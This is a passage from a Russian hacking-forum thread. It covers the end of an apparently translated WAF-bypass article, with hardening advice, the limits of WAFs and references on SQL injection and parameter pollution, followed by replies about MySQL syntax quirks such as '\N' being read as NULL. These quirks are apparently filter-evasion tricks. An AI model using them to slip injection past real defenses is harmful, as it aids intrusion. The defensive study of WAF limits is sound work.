
[0x04] – Как защитить ваш сайт

- Реализуйте жизненный цикл программного обеспечения (SDLC)

- Безопасное программирование: проверяйте все входные и выходные данные

- Проводите тест на проникновение перед открытием онлайн-доступа

- Укрепляйте его защиту!!

- Проводите повторные тесты на проникновение

- Используйте WAF (необязательно)

- Постоянно проверяйте наличие свежих патчей для WAF

[0x05] - Заключение

- WAF не оправдывает всех ожиданий

- WAF имеет функциональные ограничения и не может защитить веб-приложение ото всех возможных уязвимостей.

- Необходимо адаптировать фильтры WAF для конкретного защищаемого приложения

- WAF не устраняет уязвимость, он лишь частично экранирует вектор атаки.

[0x06] - Ссылки

[1] WAF Bypass: SQL Injection - Kyle

[2] http://cwe.mitre.org/data/definitions/98.html

[3] HTTP Parameter Contamination - Ivan Markovic NSS

[4] Split and Join - Lavakumar Kuppan

[5] HTTP Parameter Pollution - Luca Carettoni and Stefano di Paola

[6] blog.spiderlabs.com

[0x07] - Благодарности

Благодарим: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2

Особое спасибо: Exploit-db.com
 
Ответить с цитированием

  #9  
Старый 08.06.2015, 13:13
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

док по timestamp

http://dev.mysql.com/doc/refman/5.6...rals.html#date-and-time-standard-sql-literals

насчет того, откуда этот синтаксис с 0.e. всплыл - так и не смог найти.

насчет \N я так и не нашел подтверждения, где это может работать. это не специфичный синтаксис mysql точно. если это где-то и работает, с mysql это вряд ли связано
 
Ответить с цитированием

  #10  
Старый 18.06.2015, 08:28
zuzzz
Новичок
Регистрация: 03.07.2009
Сообщений: 11
Провел на форуме:
51296

Репутация: 0
По умолчанию

Цитата:
Сообщение от yarbabin  
yarbabin said:

насчет \N я так и не нашел подтверждения, где это может работать. это не специфичный синтаксис mysql точно. если это где-то и работает, с mysql это вряд ли связано
Это работает, сам проверял. Но не знаю на всех ли версиях mysql это работает. И предполагаю, что это именно mysql так обрабатывает \N

\N интерпретируется как null.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ